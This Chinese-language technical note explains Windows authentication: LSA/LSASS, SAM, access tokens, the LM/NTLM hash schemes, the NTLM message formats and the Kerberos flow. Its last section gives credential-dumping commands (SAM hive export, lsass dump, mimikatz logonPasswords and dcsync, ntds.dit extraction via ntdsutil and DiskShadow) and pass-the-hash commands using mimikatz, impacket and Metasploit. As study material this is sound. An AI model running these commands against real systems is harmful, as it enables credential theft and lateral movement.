Windows 身份认证
Windows 身份验证
Windows 有 5 个登录场景
- Interactive logon (交互式登录)
- Local and domain logon (本地和域登录)
- Network logon (网络登录)
- Smart card logon (智能卡登录)
- Biometric logon (生物识别登录)
Interactive logon
通过 UI 和用户交互选择登录方式 (就是上面的 Local logon...), 以及登录的是本地用户还是域用户
Local and domain logon
用户可以通过交互式登录选择登录一台电脑的两种方式:
-
在登录本地账户时, 用户可以直接物理访问计算机, 或者通过网络访问
本地登录授权用户访问本地计算机的资源, 需要在 Sercurity Accounts Manager (SAM) 中有一个账户. SAM 将账户信息和组信息都存储在本地的注册表中
网络登录除可以访问本机资源外, 有访问其他网络上共享资源的能力
本地账户信息和组信息决定可以访问那些本地资源以及网络上的共享资源. 无论是本地登录还是网络登录, 用户都必须在本地的 SAM 有账户, 除非是域账户登录. 并且如果不是域账户登录, 这两种登录都不能访问域资源
-
远程通过终端服务或者远程服务登录 (比如 RDP), 会被限定为远程交互.
如果一台计算机加入了域, WinLogon 会尝试登录到这个域
要登录到域, 用户必须在 Active Directory (AD) 中有一个用户, 同时这台计算机也必须有一个在 AD 域中有一个账户并且可建立网络连接. 域账户信息和组信息控制访问的域资源和本地资源
Network logon
网络登录只能在进行了用户, 服务或计算机认证之后发生. 在网络登录时, 不会有图形界面来交互信息, 会使用先前建立过的凭据, 或者其他方式来接收凭据
为了提供这种认证, 安全系统包括下面这些认证机制:
- Kerberos 5
- Public key certificates
- Secure Sockets Layer/Transport Layer Security (SSL/TLS)
- Digest
- NTLM (用于兼容基于 Windows NT 4.0 的系统)
大致可以分为两种, 本地认证和网络认证 (包括域认证)
SSPI & SSP
SSPI (Sercurity Support Provider Interface), 这是 Windows 定义的一套接口, 允许应用程序使用计算机或网络上可用的各种安全模型, 而无需将接口更改为完全系统. 这个接口在内核态和用户态下可用
他主要提供的是下面的函数:
-
包管理
用于列出可用的安全包并
-
凭据管理
用于创建并使用主体的凭据句柄的函数
-
上下文管理
使用凭据句柄来创建安全上下文的函数
-
消息支持
通过安全连接进行消息交换的期间, 使用安全上下文来确保消息完整性和隐私性的函数
实际上主要提供了:
- 身份验证
- 安全通信
- 单点登录
SSP (Security Support Provider), 是对 SSPI 的实现, 包含在动态连接库中, 这个库通过提供一个或多个安全包给应用程序来实现 SSPI. 每个安全包都提供应用程序 SSPI 函数调用与实际安全模型函数之间的映射. 安全包支持安全协议, 例如 Kerberos 身份验证和 LAN Manager
使用 SSPI 发起身份验证时, 根据设置调用 NTML, Kerberos 等 SSP
比如在 RDP 中:
- 客户端通过 SSPI 接口调用身份验证
- 系统使用 CredSSP 模块进行验证
- 验证方式可以是 Kerberos, NTML, NLA 或是 Schannel
一般常见的 SSP:
SSP 名称 | DLL 文件 |
---|---|
NTLM | msv1_0.dll |
Kerberos | kerberos.dll |
Negotiate Extensions | negoexts.dll |
CredSSP | credssp.dll |
Schannel | schannel.dll |
Digest | wdigest.dll |
Negotiate | secur32.dll |
在系统层面一个 SSP 就是一个 dll
LSA
本地安全机构 Local Security Authority, 是系统核心模块实现 Windows 安全框架, 其中有一组受保护的系统进程, SSP 的管理者, 用于对用户进行身份验证并将其登录到本地计算机. LSA 在计算机上维护本地安全相关的所有方面信息 (统称为本地安全策略)
本地的安全信息是存储在注册表中的, 在 HKEY_LOCAL_MACHINE\SECURITY
条目下, 存储了策略设置, 默认值, 账户信息, 和登录凭据缓存. SAM 的副本 (不可写) 也存储在这里. 而域环境是通过 Active Directory 来存储的
下图显示了对用户或进程进行身份验证以实现成功登录时所需的组件以及凭据通过系统的路径
上图源自 Windows 官方文档
Component | Description |
---|---|
User logon | Winlogon.exe 是负责管理安全用户交互的可执行文件. Winlogon 通过 Logon UI 收集用户凭据, 并通过 secur32.dll 将器传递给 LSA, 从而启动 Windows 的登录过程 |
Application logon | 应用或服务登录不要求交互式登录. 用户启动的进程通常通过 secur32.dll 在用户模式下运行; 而系统启动时自动运行的进程则通过 ksecdd.sys 在内核模式下运行 |
Secur32.dll | 作为身份验证基础的多身份验证提供程序, |
Lsasrv.dll | LSA 服务器服务, 负责强制执行安全策略并充当 LSA 的安全包管理器. LSA 包含协商功能 (Negotiate), 通过判断协议适用性, 选择 NTLM 或 Kerberos 协议 |
Security Support Providers | 一组可调用一个或多个身份验证协议的提供程序. 默认提供的程序集随 Windows 版本更新变化, 同时支持编写自定义提供程序 |
Netlogon.dll | NetLogon 服务执行的服务包括: 1. 维持计算机与域控之间的安全连接 (不同于 schannel). 2. 通过安全通道将用户的凭据传递给域控, 并返回用户的域 SID 和用户权限. 3. 在 DNS 中发布服务资源, 并用 DNS 将名字解析成域控的 IP 地址. 4. 实现基于 RPC 的复制策略, 用于主域控和备份域控之间的同步 |
Samsrv.dll | SAM, 用于存储本地安全账户, 执行本地存储策略, 并提供 API 支持 |
Registry | 包含 SAM 的副本, 本地安全策略设置, 默认值, 用户信息 (只能由系统访问) |
LSASS
本地安全机构子系统服务 LSASS 是 LSA 中的一个进程, 通过这个进程来选择使用的 SSP. 他将凭据存储在内存中, 这也是访问文件共享服务等无需再次输入凭据的原因, 并且会将凭据存储在 SAM 中
本地凭据存储在 SAM 中
SAM 在注册表中的位置是: HKEY_LOCAL_MACHINE\SAM
和 HKEY_LOCAL_MACHINE\SECURITY\SAM
(副本), 在文件系统中的位置: %SystemRoot%\System32\Config\SAM
域账户会在登录后将凭据经过加密缓存在 HKLM\SECURITY\Cache
中
域环境的静态密码存储在 Active Directory 数据库 (NTDS.DIT 文件)
Active Directory 属性 | 内容 |
---|---|
unicodePwd | 加密的 NT 哈希 |
dbcsPwd | 加密的 LM 哈希 |
ntPwdHistory | 加密的 NT 哈希 - 密码历史记录 |
lmPwdHistory | 加密的 LM 哈希 - 密码历史记录 |
supplementalCredentials | Kerberos 密钥, WDigest 等 |
LSASS 存储凭据的形式:
- 反向加密的纯文本
- Kerberos 票据
- Hash
如果使用智能卡登录, LSASS 会存储账户对应的 NT Hash 与该智能卡的纯文本 PIN. 如果交互登录所需智能卡启用了账户属性, 会生成一个随机的 NT Hash
如果使 LM Hash 兼容的密码登录到 Windows 的计算机, 也将存储在内存中
纯文本凭据的存储是无法禁用的
在一些情况下 LSA 机密 (仅供 SYSTEM 账户进程访问) 存储在硬盘驱动器上:
- 计算机的 AD 域服务账户的密码
- 计算机配置的 Windows 服务的账户密码
- 用于已配置的计划任务的账户密码
- 用于 IIS 应用程序池和网站的账户密码
- Microsoft 账户的密码
Access Token
访问令牌
描述进程或者线程安全的一个对象, 存储在内存中, 由 LSA 来分配
不同用户登录计算机后, 都会生成一个 Access Token, 这个 Token 在用户创建进程或者线程时会被使用. 如果不指定 Token 创建子进程时使用父进程 Token 的拷贝
当进程或者线程需要访问某个具有安全属性的对象时, OS 会根据 Tokent 在该对象的访问控制列表里进行搜索, 从而决定用户或者用户所在的组对该对象是否具有访问权限
两种:
- 主令牌. 每一个进程都有一个唯一的主令牌, 进程通过主令牌被开启
- 模拟令牌. 在默认情况下, 线程被开启时, 所在的进程的主令牌会自动附加到当前线程上, 作为线程的安全上下文. 而线程可以运行在另一个非主令牌的访问令牌下执行, 这个令牌就叫做模拟令牌. 指定线程模拟令牌的过程称为模拟
主令牌是由 windows 内核创建并分配给进程的默认访问令牌, 每一个进程有一个主令牌, 它描述了与当前进程相关的用户帐户的安全上下文. 同时, 一个线程可以模拟一个客户端帐户, 允许此线程与安全对象交互时用客户端的安全上下文. 一个正模拟客户端的线程拥有一个主令牌和一个模拟令牌
令牌会在系统关机重启后全部清除, 而注销则会将主令牌切换为模拟令牌而不会清除
权限低的账号无法看到权限高的访问令牌
令牌组成
- 用户 (User). 用户账号的SID. 若用户登录到本地计算机上的一个账号, 则他的 SID来自于本地SAM维护的账号数据库; 若用户登录到一个域账号, 则他的SID来自于活动目录里用户对象的Object-SID属性
- 组 (Groups). 包含该用户的安全组的SID列表, 表中也包含代表活动目录里用户 账号的用户对象的SID-History属性里的SID
- 特权 (Privileges). 用户和用户的安全组在本地计算机上拥有的特权列表
- 所有者 (Owner). 特定用户或安全组的SID, 这些用户或安全组默认成为用户所 创建或拥有的任何对象的所有者
- 主组 (Primary Group). 用户的主安全组的SID. 这个信息只由POSIX子系统使用, Windows 2000的其他部分对其忽略
- 默认任意访问控制表 (Default Discretionary Access Control List, DACL). 一组内置 许可权. 在没有其他访问控制信息存在时操作系统将其作用于用户所创建的对象. 默认DACL向创建所有者和系统赋予完全控制 (Full Control) 权限
- 源 (Source). 导致访问令牌被创建的进程, 例如会话管理器、LAN管理器或远程 过程调用 (RPC) 服务器
- 类型 (Type). 指示访问令牌是主 (primary) 令牌还是模拟 (impersonation) 令牌. 主令牌代表一个进程的安全上下文; 模拟令牌是服务进程里的一个线程, 用来临时接受一个不同的安全上下文 (如服务的一个客户的安全上下文) 的令牌
- 模拟级别 (Impersonation Level). 指示服务对该访问令牌所代表的客户的安全上下 文的接受程度
- 统计信息 (Statistics). 关于访问令牌本身的信息. 操作系统在内部使用这个信息
- 限制SID (Restricting SID). 由一个被授权创建受限令牌的进程添加到访问令牌里 的可选的SID列表. 限制SID可以将线程的访问限制到低于用户被允许的级别
- 会话ID (Session ID). 指示访问令牌是否与终端服务 (Terminal Services) 客户会 话相关
Security Identifiers (SID)
安全标识符是一个唯一的字符串, 可以代表一个用户或一个组. 每个账户都由颁布者 (比如 DC) 颁发唯一的 SID, 存储在 AD 或 SAM 中
用户在登录时后检索该用户的 SID, 并将其置于用户的 Access Token 中,
Windows 不靠用户名来区分用户, 只靠 SID
在一下安全元素中使用 SID:
- 在 SID 标识对象和主组的所有者
- 在 ACL 中标识允许, 拒绝或审核其访问权限的受托人
- 在 Access Token 中, 标识所属的用户和组
SID 的结构:
typedef struct _SID {
BYTE Revision;
BYTE SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
#if ...
DWORD *SubAuthority[];
#else
DWORD SubAuthority[ANYSIZE_ARRAY];
#endif
} SID, *PISID;
加密方式
LM Hash
LAN Manager Hash
在 Windows XP, 2000 和 2003 中默认使用, 如果超过 14 位会采用 NTLM. 本质是 DES 加密
生成规则
- 密码长度 <= 14 字节
- 明文密码转换位大写, 并转为 16 进制
- null-padded (空字节填充, 用 \x00) 填充到14 字节
- 密码分成两个 7 字节的密钥
- 每个密钥将作为
DESKEY
对魔术字符串"KGS!@#$%"
进行标准 DES 加密 - 将加密后的两组数据拼接得到最后的 LM Hash
如果 LM Hash 为 aad3b435b51404eeaad3b435b51404ee
, 说明 LM 为空或者被禁用了
存在的问题
- 密码长度只有 14 字节
- 密码不区分大小写
- 使用分组 DES, 如果密码小于 7 位, 那么第二个分组的结果一定是
aad3b435b51404ee
- 将密码分成了两个部分, 降低了破解难度
- DES 加密强度不高
NTLM Hash
NT LAN Manager Hash
NTLM Hash = LM Hash + NT Hash
生成规则
- 将密码转换为 Unicode 字符串
- 计算 MD4 哈希, 生成 32 位的十六进制数字串
NT Hash = md4(utf_16LE(password))
这个值被存储在 %SystemRoot%\system32\config\SAM
在安装了 KB2871997 补丁的系统以及 WIN10 或 WIN 2012以上, 默认不在内存中保存明文密码, 之前会保存在 lsass.exe
的内存中
Mscache Hash
在用域账户登录后, Windows 会把凭据以某种 Hash 缓存下来, 也就是 Mscache Hash 又称 DCC Hash, 默认保存最新 10 个凭据. 这是用于在连不上域控时仍能登录域用户
名称 | 简称 | 特点 | 使用版本 |
---|---|---|---|
Mscache v1 | DCC1 | NTLM hash 基础上加密一次 | XP 及以前 |
Mscache v2 | DCC2 | 引入 salt 和迭代 | Vista 及以后 (默认) |
存储的位置在: HKLM\SECURITY\Cache
生成规则
DCC1 = MD4 (NTLM Hash + LowerUnicode(username))
DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))
解密
要解密必须拿到三个 KEY: Bootkey, LSA key, NLKM key
- 得到 bootkey
- 利用 bootkey 解密 LSA Key
- 利用 LSA Key 解密 NLKM Key
- 利用 NLKM Key 解密 MSCACHE
这些 key 存储在下面的位置:
Key | 位置 | 算法 | 备注 |
---|---|---|---|
NLKM Key | 注册表 LSA Secrets 区域 | AES | 变形后的 LSA Key |
LSA Key | HKLM\SECURITY\Policy\PolEKList | AES | 变形后的 boot key |
bootkey | HKLM\System\CurrentControlSet\Control\Lsa |
bootkey 被分成 4 个部分
HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\Data
HKLM\System\CurrentControlSet\Control\Lsa\GBG
本地认证
本地登录通过 LSA 调用 msv1_0.dll
来完成
交互式登录流程
- 按下
CTRL + ALT + DEL
唤醒LogonUI.exe
和Winlogon.exe
winlogon.exe
请求credui.dll
获取其收到的用户凭据winlogon.exe
通过secur32.dll
获取到 SSPI , 将请求到的凭据, SSPI 通过LSALogonUser()
调用LSASS
来验证凭据- 本地账户
LSASS
通过lsasrv.dll
选择调用的 SSP, 选择 NTLM (msv1_0.dll
), 将凭据转换为 NTLM Hash 与 SAM 中的 Hash 作对比- 验证成功则生成访问令牌, 包含用户的 SID 和权限
- 域账户
LSASS
通过msv1_0.dll
与域控 (DC) 上的 SAM 通信- 如果 DC 不可用,
msv1_0.dll
会尝试用缓存的凭据
LogonUI.exe -> winlogon.exe -> lsass.exe -> sam
如果是登录的域账户
网络认证
网络登录流程
用户访问网络资源 (共享文件夹, SQL 服务, 域) 时触发, 涉及到下面两种协议
- Kerberos: LSASS 调用
kerberos.dll
, 通过 NetLogon Service 联系 DC - NTLM: : LSASS 调用
msv1_0.dll
(非域不会通过 NetLogon), 如果是域环境会通过 NetLogon 建立安全通道联系 DC
NTLM
ntlmssp.dll
用于构造和解析消息, 是通信层的实现, 认证由 msv1_0.dll
完成
NTLM 身份认证协议是一种基于 Challenge/Response 的验证机制, 是一种嵌入式的协议, 可以将其嵌入到 HTTP 等
这个协议使用 NTLM Hash 或 LM Hash 作为根本凭据
有两个版本
NTLMv1 (LM, NTLM)
NTLMv2 (LMv2, NTLMv2, NTLM2 Session)
由三种消息组成
- type 1 协商 (Negotiate). 主要用于确认双方协议版本
- type 2 质询 (Challenge). Challenge/Reponse 认证机制
- type 3 验证 (Auth). 验证客户端的 Response 和生成的 Challenge1 是否相同
报文解析
具体报文: https://davenport.sourceforge.net/ntlm.html#theType1Message
type1:
主要包含客户端支持和服务器请求的功能列表, 用于客户端向服务器请求支持的 NTLM 选项
Description | Content | |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII "NTLMSSP" (0x4e544c4d53535000) |
8 | NTLM Message Type | long (0x01000000) |
12 | Flags | long |
(16) | Supplied Domain (Optional) | security buffer |
(24) | Supplied Workstation (Optional) | security buffer |
(32) | OS Version Structure (Optional) | 8 bytes |
(32) (40) | start of data block (if required) |
type2:
主要包含 Challenge.
Index | Description | Content |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII "NTLMSSP" (0x4e544c4d53535000 ) |
8 | NTLM Message Type | long (0x02000000 ) |
12 | Target Name | security buffer |
20 | Flags | long |
24 | Challenge | 8 bytes |
(32) | Context (optional) | 8 bytes (two consecutive long s) |
(40) | Target Information (optional) | security buffer |
(48) | OS Version Structure (Optional) | 8 bytes |
32 (48) (56) | start of data block |
type 3:
Index | Description | Content |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII "NTLMSSP" (0x4e544c4d53535000) |
8 | NTLM Message Type | long (0x03000000) |
12 | LM/LMv2 Response | security buffer |
20 | NTLM/NTLMv2 Response | security buffer |
28 | Target Name | security buffer |
36 | User Name | security buffer |
44 | Workstation Name | security buffer |
(52) | Session Key (optional) | security buffer |
(60) | Flags (optional) | long |
(64) | OS Version Structure (Optional) | 8 bytes |
52 (64) (72) | start of data block |
这个 session key 在要求签名的时候会用到
type3 包含的 Response 是使用用户 NTLM Hash 或 LM Hash 为 Key 和服务端的 Challenge 以及其他信息做散列计算得到的
有 6 种 Response 类型:
- LM Response
- NTLMv1 Response
- NTLMv2 Response
- LMv2 Response
- NTLMv2 Session
- Anonymous Response
LM Response
大多数客户端都会发送, 主要是作兼容
生成步骤:
- 将 16 字节的 LM Hash null-padded 填充到 21 字节
- 将其这个 3 个 7 字节的值, 用于充当三个 DES key
- 将 Challenge 分别和这 3 个 DES Key 做 DES 生成 3 个 8 字节的值
- 将这 3 个值组合成一个 24 字节的值得到 LM Response
LM Response = DES(LM Hash, Challenge)
NTLM Response
较新的客户端发送, 并且会和 LM Response 一起发送, 因为发送了 LM 安全性会受其影响
生成步骤:
- 将 16 字节的 NTLM Hash null-padded 填充到 21
- 后续操作和 LM Response 一样
NTLM Response = DES(NT Hash, Challenge)
NTLMv2 Response
当 NTLMv2 启用时, 就会替换掉 NTLM Response, LM Response 会被 LMv2 Response 替换
生成步骤:
- 先获取 NTLM Hash
- 将用户名转大写后转为 Unicode 编码与 Unicode 编码的验证目标 (Target Name 字段, 值为 域名 或 服务器名) 拼接
- 使用 16 字节的 NTLM Hash 作为 Key, 使用 HMAC-MD5 计算上面的值得到 NTLMv2 Hash
- 构造一个名字叫 "blob" 的数据块
- 将 Challenge 和 blob 拼接, 并将 NTLMv2 Hash 作为 Key, 使用 HMAC-MD5 计算这个值得到一个 16 字节的值 NTProofStr
- 最后再将 NTProofStr 和 blob 拼接得到 NTLMv2 Response
NTLMv2 Response = HMAC(NTML Hash, Challenge + Blob) + Blob
在
这个 blob 的结构是这样的:
Index | Description | Content |
---|---|---|
0 | Blob Signature | 0x01010000 |
4 | Reserved | long (0x00000000 ) |
8 | Timestamp | Little-endian, 64-bit signed value representing the number of tenths of a microsecond since January 1, 1601. |
16 | Client Nonce | 8 bytes |
24 | Unknown | 4 bytes |
28 | Target Information | Target Information block (from the Type 2 message). |
(variable) | Unknown | 4 bytes |
LMv2 Response
生成规则:
- 和上面 NTLMv2 Response 的前三步一样, 获取 NTLMv2 Hash
- 客户端生成一个 8 字节的随机数 (和 blob 中的一样)
- Challenge 拼接这个随机数, 并用 NTLMv2 Hash 作为 Key, 使用 HMAC-MD5 计算拼接的值得到一个 16 字节的值
- 得到的这个值拼接上面的随机数得到 24 字节的 LMv2 Response
LMv2 Response = HMAC(NT Hash, Username + Domain + Challenge) + Client Nonce
NTLM2 Session Response
在不支持完整 NTLM 协议的计算机中, 提供反字典攻击的增强保护 (尤其是基于彩虹表的攻击)
NTLM2 Session Response 会替换 LM 和 NTLM Response 两个字段
生成规则:
- 生成一个 8 字节随机数
- 将这个随机数 null-padded 到 24 字节, 这个值会填充到 type3 中的 LM Response 字段
- 将 Challenge 拼接这个随机数, 得到 session nonce
- 对 session nonce 计算 MD5 得到一个 16 字节的值
- 将这个值截断为 8 字节得到 NTLM2 Session Hash
- 获取 NTLM Hash, 并将其 null-padded 到 21 字节
- 将其分成 3 个 7 字节的值, 用于充当 DES Key
- 将 NTLM2 Session Hash 分用这三个 Key 进行 DES, 得到 3 个 8 字节的值
- 将这 3 个 8 字节的值拼接成一个 24 字节的值得到 NTLM2 Session Response
NTLM2 Session Response = DES(MD5(Challenge + Client Nonce))
Anonymous Response
在匿名的上下文中使用, 最典型的使用是在做不需要认证的操作时. 这个匿名并不是 Windows 中的 "Guest" 用户 (后者是实际的用户, 而匿名没有实际的用户)
在 Anonymous Response 中, type 3 会设置 "Negotiate Anonymous" flag, NTLM Response 字段为空, 并且 LM Response 字段包含一个空字节 (0x00)
NTLM type3 还可以有一个 MIC 值, 但这不是必须的, 用于防止篡改
使用哪个版本的响应由 LmCompatibilityLevel
来决定, 这个值存储在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel
LMCompatibilityLevel
通过设置确定网络登录使用的质询/响应身份验证协议, 一共有 6 个等级
Level | Sent by Client | Accepted by Server |
---|---|---|
0 | LM NTLM | LM NTLM LMv2 NTLMv2 |
1 | LM NTLM | LM NTLM LMv2 NTLMv2 |
2 | NTLM | LM NTLM LMv2 NTLMv2 |
3 | LMv2 NTLMv2 | LM NTLM LMv2 NTLMv2 |
4 | LMv2 NTLMv2 | NTLM LMv2 NTLMv2 |
5 | LMv2 NTLMv2 | LMv2 NTLMv2 |
默认值:
- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
- Windows Server 2003: 仅发送 NTLM 响应
- Windows Vista, Windows Server 2008, Windows 7 以及 Windows Server 2008 R2 及以上: 仅发送 NTLMv2 响应
认证流程
工作组环境认证流程
Client Server
|---------- type 1 NTLMSSP_NEGOTIATE 协商消息 ------------------------------------>|
|<-------------------------- type 2 NTLMSSP_CHALLENGE 质询消息 --------------------|
|---------- type 3 NTLMSSP_AUTH 认证消息 ----------------------------------------->|
|<------------ 服务器的自身计算的 Hash 与客户端的 Response 中的 Hash对比返回成功与否 -----|
- 客户端向服务器发送一个请求, 请求中包含明文的登录用户名. 服务器会提前存储登录用户名和对应的密码hash (NTLM Hash)
- 服务器接收到请求后, 生成一个 8 字节的随机数 (Challenge), 明文发送回客户端并缓存
- 客户端接收到 Challenge 后, 使用登录用户的 Hash 对 Challenge 加密拼接一些数据获得 Response, 将 Response 发送给服务器
- 服务器接收客户端加密后的 Response, 取出 Hash 并比较自己计算的 Hash 是否相等返回成功与否
域环境认证流程
域环境中默认使用的是 Kerberos 协议来认证, 但也可以用 NTLM
msv1_0.dll
通过 NetLogon Service 联系 DC 的 msv1_0.dll
来认证
Client Server DC
|------------ NTLMSSP_NEGOTIATE ------------->| |
|<----------- NTLMSSP_CHALLENGE --------------| |
|------------ NTLMSSP_AUTH ------------------>| |
| |------- 通过 NetLogon 发送 NTLMSSP --->|
| |<--- 与 DC 自身计算的 Hash 对比返回结果---|
|<----------- 根据返 DC 的结果回复 --------------| |
Kerberos
主要有两个版本 v5 和 v4, Windows 实现的是 v5
版本号 Key Version Number 会用 kvno
字段标识
Windows 中的 Kerberos 协议是通过 kerberos.dll
来实现, 在登录域账户时, LSASS 选择 kerberos.dll
通过 NetLogon Service 来和 域控 通信
有三个角色:
- 服务访问者 Client
- 服务提供者 Server, 比如 SQL 服务和 HTTP 服务
- 密钥分发中心 KDC (Key Distribution Center), 是 DC 的一个服务
这个协议会用到两种票据: TGT 和 TGS
TGT: 用与获取 TGS 的票据, 被称为黄金票据
TGS: 用来访问服务的票据, 被称为白银票据
Realm
realm 指的是一个认证管理域, 用来划定一个边界, 说明哪个服务器有权对哪些用户 / 主机 / 服务进行认证
如果两个 realm 之间建立了信任关系, 他们之间也可以完成认证, 这被称作 跨域认证 (Cross-Authentication)
用户或服务要属于某个 realm, 前提是它和该 realm 的认证服务器 KDC 共享一个密钥
realm 的名称区分大小写, example.com
和 EXAMPLE.com
就是两个 realm
实际的部署中 realm 的名称就是域名, 方便使用 DNS, 并且最好是大写
Principal
主体是用于引用身份验证服务器中的条目的名称. 主体与每个用户/主机/服务相关联
在 v5 中, 一个主体被表示为: component1/component2/.../componentN@REALM
实际情况下最多使用两个组件
对于引用用户的条目, 主体是这种形式: Name/[Instance]@REALM. 这个 Instance 是可选的, 比如管理员拥有管理实例, 例如: pippo@EXAMPLE.COM, admin/admin@EXAMPLE.COM, pluto/admin@EXAMPLE.COM
如果是涉及到服务, 主体采用这种形式: Service/Hostname@REALM, 比如 imap/mbox.example.com@EXAMPLE.COM
在 v4 中只能有两个组件, 并且用 .
而不是 /
, 比如: ippo@EXAMPLE.COM, pluto.admin@EXAMPLE.COM, imap.mbox@EXAMPLE.COM
KDC
Key Distribution Center
KDC 包含
- Database
- Authentication Server
- Ticket Granting Server
Database
数据库会包含用户和服务相关的条目. 每个条目包含以下信息:
- 条目关联的主体
- 加密密钥和相关的版本
- 与主体关联的票据的最大有效期
- 与主体相关的最大续订时间 (只存在于 5)
- 描述票据行为的属性或标志
- 密码过期日期
- 主体过期时间, 过期后将不会为其签发任何票据
在 Windows 中, Database 就是用 Active Directory 实现
Authentication Server
用于在认证的最开始, 生成一个票据给请求的客户端, 这个票据就是 Ticket Granting Ticket
与之关联的主体是 krbtgt/REALM@REALM
Ticket Granting Server
签发服务请求服务的票据, 收到合法的 TGT 会分发一个服务票据
Session Key
用户和服务都和 KDC 共享一个密钥, KDC 通过这个密钥来加解密从而识别出是谁. 对于用户来说, 这个密钥是由密码派生出来的, 通常是 NT hash; 对于服务来说, 则是由管理员配置的. 这是一种长期密钥 (long-term key), 不会随不同的登录会话修改
但是在用户访问某个服务时, 需要一个与服务端共享的临时密钥, 这个就是会话密钥 Session Key
Session Key 由 KDC 生成, 每次签发 TGT 或 TGS 的时候产生, 并且每次都不同
Session Key 会被打包进票据中发送给服务端, 服务端通过自己的 long-term key 解密拿到这个 Session Key. 给用户的那一份 Session Key 是由用户的 long-term key 加密的
这个 Session Key 是之后验证用户身份, 传输消息完整性, 加密数据的核心密钥
用户和服务共享的一个密钥, 由 KDC 生成
认证流程
下面是一个简化的认证流程图:
- AS_REQ: Client向 KDC 发起 AS_REQ, 请求凭据是 Client hash 加密的时间戳
- AS_REP: KDC 使用 Client hash 进行解密, 如果结果正确就返回用 krbtgt 账户的 hash 加密的 TGT 票据, TGT 里面包含 PAC, PAC 包含 Client 的 SID, Client 所在的组。
- TGS_REQ: Client 凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求
- TGS_REP: KDC 使用 krbtgt hash 进行解密, 如果结果正确, 就返回用服务 hash 加密的 TGS 票据 (这一步不管用户有没有访问服务的权限, 只要 TGT 正确, 就返回 TGS 票据)
- AP_REQ: Client 拿着 TGS 票据去请求服务
- AP_REP: 服务使用自己的 hash 解密 TGS 票据. 如果解密正确, 就拿着PAC 去 KDC 那边问 Client 有没有访问权限, 域控解密 PAC. 获取 Client 的 SID, 以及所在的组, 再根据该服务的 ACL, 判断 Client 是否有访问服务的权限
获取用户凭证
本地
通过 SAM 文件获取
reg save hklm\sam C:\sam.hive
reg save hklm\system C:\system.hive
读取 Isass 内存
使用 procdump
procdump64.exe -accepteula -ma lsass.exe filename
也可以直接使用任务管理器创建转储文件
生成的文件使用 mimikatz 破解
mimikatz # sekurlsa::minidump filename
mimikatz # sekurlsa::logonPasswords full
域
ntdsutil 域快照
ntdsutil 用于让管理员能够轻松访问 Active Directory
可以通过此工具获取现有的 ntds.dit 文件快照
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
DiskShadow
用于协助管理员执行与卷影复制服务VSS相关的操作
此程序的会自动执行 ntds.dit 提取过程所需的所有命令, 使用这个特性可以完成提取
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds\ntds.dit
delete shadows volume %someAlias%
reset
这个程序必须从 C:\Windows\System32
路径中运行, 同时文件保存必须是 ASCII 编码
复制解密 ntds 文件内容所需的密钥
reg.exe save hklm\system c:\ntds\system.bak
Mimikatz
Mimikatz 有一个功能 dcsync, 利用目录复制服务 DRS 从 NTDS.DIT 文件中检索密码哈希值. 该技术消除了直接从域控制器进行认证的必要性, 因为它可以以域管身份在域的任意系统执行, 或是使用黄金票据从任意可连接到域控的服务器执行
lsadump::dcsync /domain:aptlab.com /all /csv
通过 /user 指定域用户名, 会将指定用户的所有账户信息转储, 包括哈希值
lsadump::dcsync /domain:pentestlab.local /user:test
ntds文件解密
NtdsAudit, Impacket-secretsdump, Quarks PwDump 等等
NTLM 协议攻击
Hash 传递攻击
Pass The Hash PTH
由于 NTLM 验证过程中在 type 3 阶段计算 response 的时候客户端是使用用户的 hash 进行计算, 而不是用户密码. 因此在模拟用户登录时不需要用户明文密码, 只需要 hash
如果有 kb2871997 补丁, PTH 会被限制. 如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
项存在 (默认不存在) 且配置为 1 , 未过滤的非 RID 500 的账户可以成功传递 hash
mimikatz:
privilege::debug
sekurlsa::pth /user:win10 /domain:test.local /ntlm:6a6293bc0c56d7b9731e2d5506065e4a
impacket
psexec.py
smbexec.py
atexec.py
wmiexec.py
dcomexec.py
python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress
msf
use exploit/windows/smb/psexec_psh
Refrence:
- https://learn.microsoft.com/zh-cn/windows-server/security/windows-authentication/windows-authentication-overview
- https://learn.microsoft.com/zh-cn/windows-server/security/kerberos/kerberos-authentication-overview
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp
- https://davenport.sourceforge.net/ntlm.html#theType1Message
- https://daiker.gitbook.io/windows-protocol
- https://y4er.com/posts/ntlm-and-net-ntlm-hash
- https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D